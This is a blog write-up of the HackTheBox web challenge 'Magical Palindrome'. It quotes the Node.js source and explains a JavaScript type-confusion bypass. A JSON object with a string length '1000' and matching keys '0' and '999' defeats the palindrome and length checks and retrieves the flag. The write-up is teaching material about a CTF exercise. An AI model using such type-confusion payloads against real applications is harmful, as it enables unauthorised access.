Magical Palindrome – HTB Writeup | Web Challenge

984 views·3 min read·
Magical Palindrome HackTheBox Web Challenge Writeup

Hi! In this write-up, we will solve the HackTheBox Web Challenge Magical Palindrome. So, sit back and read!

As the source code is given, we will look at some files, and we found the interesting logic in the index.mjs file:

Magical Palindrome HackTheBox Web Challenge Writeup

After reading this file, we found that we need to send a palindrome value with a length ≥ 1000, so let’s do this directly.

Magical Palindrome HackTheBox Web Challenge Writeup

But it is not accepting, that’s because in the config/nginx.conf file, the reverse proxy is only allowing a Max body size of 75 Bytes, but the payload we are trying to send is more than 1000 Bytes

Magical Palindrome HackTheBox Web Challenge Writeup

We are now at an interesting point, where we need to bypass these checks, so we have to dig deeper into the source code:

import {serve} from '@hono/node-server';
import {serveStatic} from '@hono/node-server/serve-static';
import {Hono} from 'hono';
import {readFileSync} from 'fs';

const flag = readFileSync('/flag.txt', 'utf8').trim();

const IsPalinDrome = (string) => {
	if (string.length < 1000) {
		return 'Tootus Shortus';
	}

	for (const i of Array(string.length).keys()) {
		const original = string[i];
		const reverse = string[string.length - i - 1];

		if (original !== reverse || typeof original !== 'string') {
			return 'Notter Palindromer!!';
		}
	}

	return null;
}

const app = new Hono();

app.get('/', serveStatic({root: '.'}));

app.post('/', async (c) => {
	const {palindrome} = await c.req.json();
	const error = IsPalinDrome(palindrome);
	if (error) {
		c.status(400);
		return c.text(error);
	}
	return c.text(`Hii Harry!!! ${flag}`);
});

app.port = 3000;

After analyzing, I realized that there is no type check for the palindrome, we can send the payload in any JSON format, so let’s try to do:

{
  "palindrome":{
      "length":"1000"
  }
}

This actually bypassed the first check, which was that we needed a length of 1000 characters

Magical Palindrome HackTheBox Web Challenge Writeup

Length Check

if (string.length < 1000)

We sent it as a String because JavaScript coerces the string "1000" to a number when comparing:

  • "1000" < 1000 → 1000 < 1000 → false

The check passes!

Array

Before moving forward, we need to look at how the Array() function works in JavaScript.

If you pass a number to it, it treats it as a length and makes an array (empty) with this length:

Magical Palindrome HackTheBox Web Challenge Writeup

And if you passed a string, it makes an array with length 1 and saves that string at index 0

Magical Palindrome HackTheBox Web Challenge Writeup
Magical Palindrome HackTheBox Web Challenge Writeup

So if our object has a length value as a string, the server will create an array with length 1, and the loop will iterate only 1 time with i = 0 because array keys will return only[0] index

Now we should also add both 0 and Length-1 Having the same string value for our object, like this:

Final Exploit code:
{
  "palindrome":{
    "length":"1000",
    "0":"a",
    "999":"a"
  }
}
Magical Palindrome HackTheBox Web Challenge Writeup

If you enjoyed, comment 😉

One comment

Leave a Reply

Your email address will not be published. Required fields are marked *